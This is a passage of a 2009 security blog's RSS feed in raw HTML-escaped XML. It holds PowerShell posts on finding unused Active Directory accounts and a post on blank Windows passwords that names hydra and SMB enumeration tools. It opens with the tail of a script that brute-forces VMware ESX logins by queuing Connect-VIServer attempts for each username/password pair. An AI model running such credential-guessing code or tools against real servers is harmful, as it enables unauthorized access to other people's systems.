color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;Handle-Jobs&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;Start-Sleep -Seconds 5&lt;BR&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;}&lt;BR&gt;&amp;nbsp;&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;# Start the job to attempt the connection&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;Start-Job -InitializationScript {Add-PSSnapin VMware.VimAutomation.Core} -ScriptBlock { &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;param&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;(&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$Server&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;, &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$usr&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;, &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$pass&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;) Connect-VIServer -Server &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$Server&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; -Protocol https -User &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$usr&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; -Password &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$pass&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; } -Name &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;"User:$usr Pass:$pass"&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; -ArgumentList &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$Server&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;,&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$usr&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;,&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$pass&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;}&lt;BR&gt;}&lt;BR&gt;&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;"Everything has been queued, waiting for jobs to complete"&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;BR&gt;# Wait for the jobs to complete&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;Do&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; {&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;Handle-Jobs&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;Start-Sleep -Seconds 5&lt;BR&gt;} &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;while&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; (Get-Job)&lt;/FONT&gt;&lt;/FONT&gt;</description><comments>http://blog.securitywhole.com/2009/09/01/brute-force-esx-usernamepassword.aspx#Comments</comments><guid isPermaLink="false">76bf4346-a0be-437a-9fba-4a07348edd91</guid><pubDate>Tue, 01 Sep 2009 13:16:00 GMT</pubDate></item><item><title>Finding Old or Unused Accounts with Powershell v2</title><link>http://blog.securitywhole.com/2009/08/12/finding-old-or-unused-accounts-with-powershell-v2.aspx?ref=rss</link><dc:creator>Tim Medin</dc:creator><description>&lt;P&gt;Here is a version that was 200 times faster in my environment. Depending on the number of domain controllers it could be even faster for you. It does one big query for each domain controller and then compiles the results. The original script took 45 minutes, this version took 13 seconds.&lt;BR&gt;&lt;BR&gt;This script returns a list with all users and their last logon date/time. You can then filter by logon's older than a certain date/time, sort, or export it.&lt;BR&gt;&lt;BR&gt;&lt;SPAN style="COLOR: #55c548"&gt;&lt;/P&gt;&lt;SPAN style="COLOR: #1b5e14"&gt;
&lt;P&gt;&lt;FONT face="Courier New" size=2&gt;$dcs = [System.DirectoryServices.ActiveDirectory.Domain]::getcurrentdomain().DomainControllers | select name&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New" size=2&gt;$startdate = get-date('1/1/1601')&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New" size=2&gt;$lst = new-Object System.Collections.ArrayList&lt;BR&gt;foreach ($dc in $dcs) {&lt;BR&gt;&amp;nbsp;$root = [ADSI] "LDAP://&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;$($dc.Name):389"&lt;/FONT&gt;&lt;BR&gt;&lt;FONT face="Courier New" size=2&gt;&amp;nbsp;$searcher = New-Object System.DirectoryServices.DirectorySearcher $root&lt;BR&gt;&amp;nbsp;$searcher.filter = "(&amp;amp;(objectCategory=person)(objectClass=user))"&lt;BR&gt;&amp;nbsp;$searcher.PropertiesToLoad.Add("name") | out-null&lt;BR&gt;&amp;nbsp;$searcher.PropertiesToLoad.Add("LastLogon") | out-null&lt;BR&gt;&amp;nbsp;$searcher.PropertiesToLoad.Add("displayName") | out-null&lt;BR&gt;&amp;nbsp;$searcher.PropertiesToLoad.Add("userAccountControl") | out-null&lt;BR&gt;&amp;nbsp;$searcher.PropertiesToLoad.Add("canonicalName") | out-null&lt;BR&gt;&amp;nbsp;$searcher.PropertiesToLoad.Add("title") | out-null&lt;BR&gt;&amp;nbsp;$searcher.PropertiesToLoad.Add("sAMAccountName") | out-null&lt;BR&gt;&amp;nbsp;$searcher.PropertiesToLoad.Add("sn") | out-null&lt;BR&gt;&amp;nbsp;$searcher.PropertiesToLoad.Add("givenName") | out-null&lt;BR&gt;&amp;nbsp;$results = $searcher.FindAll()&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New" size=2&gt;&amp;nbsp;foreach ($result in $results)&lt;BR&gt;&amp;nbsp;{ &lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New" size=2&gt;&amp;nbsp;&amp;nbsp;$user = $result.Properties;&lt;BR&gt;&amp;nbsp;&amp;nbsp;$usr = $user | select -property @{name="Name"; expression={$_.name}},&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{name="LastLogon"; expression={$_.lastlogon}},&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{name="DisplayName"; expression={$_.displayname}},&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{name="Disabled"; expression={(($_.useraccountcontrol[0]) -band 2) -eq 2}},&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{name="CanonicalName"; expression={$_.canonicalname}},&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{name="Title"; expression={$_.title}},&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{name="sAMAccountName"; expression={$_.samaccountname}},&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{name="LastName"; expression={$_.sn}},&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{name="FirstName"; expression={$_.givenname}}&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New" size=2&gt;&amp;nbsp;&amp;nbsp;$lst.Add($usr) | out-null&lt;BR&gt;&amp;nbsp;}&lt;BR&gt;}&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New" size=2&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New" size=2&gt;$lst | group name | select-object Name, &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{Expression={ ($_.Group | Measure-Object -property LastLogon -max).Maximum }; Name="LastLogon" },&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{Expression={ ($_.Group | select-object -first 1).DisplayName}; Name="DisplayName" },&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{Expression={ ($_.Group | select-object -first 1).CanonicalName}; Name="CanonicalName" },&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{Expression={ ($_.Group | select-object -first 1).Title}; Name="Title" },&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{Expression={ ($_.Group | select-object -first 1).sAMAccountName}; Name="sAMAccountName" },&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{Expression={ ($_.Group | select-object -first 1).LastName}; Name="LastName" },&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{Expression={ ($_.Group | select-object -first 1).FirstName}; Name="FirstName" },&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{Expression={ ($_.Group | select-object -first 1).Disabled}; Name="Disabled" } |&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;select-object Name, DisplayName, CanonicalName, Title, sAMAccountName, LastName, FirstName, Disabled,&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{Expression={ $startdate.adddays(($_.LastLogon / (60 * 10000000)) / 1440) }; Name="LastLogon" }&lt;/FONT&gt;&lt;/P&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;</description><comments>http://blog.securitywhole.com/2009/08/12/finding-old-or-unused-accounts-with-powershell-v2.aspx#Comments</comments><guid isPermaLink="false">bb99cb1f-707e-42a6-8504-454226698809</guid><pubDate>Wed, 12 Aug 2009 13:49:00 GMT</pubDate></item><item><title>Finding Old or Unused Accounts with Powershell</title><link>http://blog.securitywhole.com/2009/06/29/finding-unused-accounts-with-powershell.aspx?ref=rss</link><dc:creator>Tim Medin</dc:creator><description>Recently I tried to find accounts that haven't been used in a long time. In order to do this I wrote a powershell script to get the last logon time for all accounts in the domain. The problem is, each domain controller contains a different time for the Last Logon depending on which was used as the logon server. In order to get an accurate time we need to get the last logon from each domain controller for each user. This is NOT a fast process. If there are 500 users and 4 domain controllers that is 2000 requests. On top of that some of the domain controllers might be a different location with a slower WAN link which will make it go even slower.&lt;br&gt;&lt;br&gt;Note: This script requires Quest Software's Active Directory cmdlets. You can download it from here: &lt;a target="_blank" href="http://www.quest.com/powershell/activeroles-server.aspx"&gt;http://www.quest.com/powershell/activeroles-server.aspx&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&lt;span&gt;&lt;span style="COLOR: #227619"&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;Add-PSSnapIn Quest.ActiveRoles.ADManagement -ErrorAction SilentlyContinue&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;$dcs = Get-QADComputer -ComputerRole DomainController&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;$users = Get-QADUser -SizeLimit 0&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;#$ErrorActionPreference = "Continue"&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;foreach ($user in $users) {&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;#"Searching $($user.Name)"&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$lastlogon = $null&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;foreach ($dc in $dcs) {&amp;nbsp;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;$dclogon = (Get-QADUser -Service $dc.Name -SamAccountName $user.Name).LastLogon&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;#"$($user.Name) $($dc.Name) $dclogon"&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if ($dclogon -ne $Null) {&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if ($lastlogon -lt $dclogon) {&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;#write-host "replacing"&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;$lastlogon = $dclogon&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;if ($lastlogon -eq $Null) { $lastlogon = [dbnull]::value }&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;#"$($user.Name) $lastlogon"&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$o = New-Object PSObject&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$o | Add-Member NoteProperty "User" $user.Name&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$o | Add-Member NoteProperty "LastLogin" $lastlogon&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$o | Add-Member NoteProperty "DisplayName" $user.DisplayName&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$o | Add-Member NoteProperty "Disabled" ([ADSI]("LDAP://$($user.DN.ToString())")).PsBase.InvokeGet("AccountDisabled")&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$o | Add-Member NoteProperty "DistinguishedName" $user.DN&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$o | Add-Member NoteProperty "Title" $user.title&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$o | Add-Member NoteProperty "SamAccountName" $user.SamAccountName&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$o | Add-Member NoteProperty "LastName" $user.LastName&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$o | Add-Member NoteProperty "FirstName" $user.FirstName&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;Write-Output $o&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;}&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;font color="#000000" face="Arial"&gt;&lt;font color="#227619" face="'Courier New'"&gt;&lt;br&gt;&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;Assuming you put this script in the file Get-LastLogin.ps1 you can find all accounts that haven't logged in during the past 90 days.&lt;div&gt;&lt;span style="font-family: 'Courier New'; color: rgb(34, 118, 25); "&gt;.\Get-LastLogin.ps1 | where {$_.LastLogin -lt (Get-Date).AddDays(-90)}&lt;/span&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;If you want to sort the results and save it as a csv you can do this:&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New'; color: rgb(34, 118, 25); "&gt;&lt;div style="outline-style: none; outline-width: initial; outline-color: initial; "&gt;.\Get-LastLogin.ps1 | where {$_.LastLogin -lt (Get-Date).AddDays(-90)} | | Sort-Object @{expression="LastLogin";Descending=$true},@{expression="User";Ascending=$true} | Export-Csv "c:\lastloginreport.csv" -noTypeInformation&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;</description><comments>http://blog.securitywhole.com/2009/06/29/finding-unused-accounts-with-powershell.aspx#Comments</comments><guid isPermaLink="false">4bad4617-ad8a-425a-b47b-d3e1493153dc</guid><pubDate>Mon, 29 Jun 2009 16:35:00 GMT</pubDate></item><item><title>Make Windows more secure, use a blank password</title><link>http://blog.securitywhole.com/2009/05/16/make-windows-more-secure-and-use-a-blank-password.aspx?ref=rss</link><dc:creator>Tim Medin</dc:creator><description>Today I was attacking and pillaging a test windows machine from a linux box. Many windows machines are setup with a blank administrator password since people just hit the enter key when they are prompted for a password. I was testing to see what happens on these machines with this configuration. I also created another account with a blank password.&lt;br&gt;&lt;br&gt;Using either of these accounts I was able to connect to manually created shares, but not to the admin shares (c$, d$, admin$). Beginning with Windows XP Home edition and later non-server editions of Windows, Windows implements the "ForceGuest" feature when the local Administrator account has a blank password. When a remote user authenticates to Windows XP (and later) as Administrator with a blank password (e.g. by mapping to one of the administrative shares), Windows will assign to their session a Guest access token, not an Administrator access token thereby preventing access to the entire C drive (a good thing).&lt;br&gt;&lt;br&gt;These home users who have "picked" the blank password when forced to pick a real password would probably pick a password that is very easy to guess, such as "password", &amp;lt;username&gt;, or some word in a monosyllabic dictionary. It is arguable more secure for these users to have no password than to pick one. No, neither of these options is good (both are dumb), but at least Microsoft prevents users from exceptionally reducing their security. &lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Yes, I understand the stupidity of the argument either way, this is meant to be a little touch-in-cheek.&lt;br&gt;&lt;br&gt;If you are interested in the tools I was using here they are:&lt;br&gt;&lt;a href="http://freeworld.thc.org/thc-hydra/"&gt;hydra&lt;/a&gt;&lt;br&gt;&lt;a href="http://unixwiz.net/tools/nbtscan.html"&gt;nbtscan&lt;/a&gt;&lt;br&gt;&lt;a href="http://www.samba-tng.org/docs/tng/htmldocs/rpcclient.8.html"&gt;rpcclient&lt;/a&gt;  - &lt;a href="http://carnal0wnage.blogspot.com/2007/08/more-of-using-rpcclient-to-find.html"&gt;link1&lt;/a&gt; &lt;a href="http://carnal0wnage.blogspot.com/2007/07/enumerating-user-accounts-on-linux-and.html"&gt;link2&lt;/a&gt;&lt;br&gt;&lt;a href="http://learnlinux.tsf.org.za/courses/build/net-admin/ch08s02.html"&gt;smbclient&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;/div&gt;</description><comments>http://blog.securitywhole.com/2009/05/16/make-windows-more-secure-and-use-a-blank-password.aspx#Comments</comments><guid isPermaLink="false">6f2eff45-c0e5-4c76-811b-4f4b3b9162e8</guid><pubDate>Sun, 17 May 2009 03:24:00 GMT</pubDate></item><item><title>www.microsoft.com and hosts file wierdness. Why?</title><link>http://blog.securitywhole.com/2009/04/01/wwwmicrosoftcom-and-hosts-file-wierdness-why.aspx?ref=rss</link><dc:creator>Tim Medin</dc:creator><description>From a Windows XP SP3 machine with all patches I ping www.microsoft.com and&lt;BR&gt;it hits 65.55.21.250&lt;BR&gt;&lt;BR&gt;I then add the following line to my hosts file&lt;BR&gt;127.0.0.1 www.microsoft.com&lt;BR&gt;&lt;BR&gt;I flush dns&lt;BR&gt;ipconfig /flushdns&lt;BR&gt;&lt;BR&gt;I then ping www.microsoft.com and it still resolves to 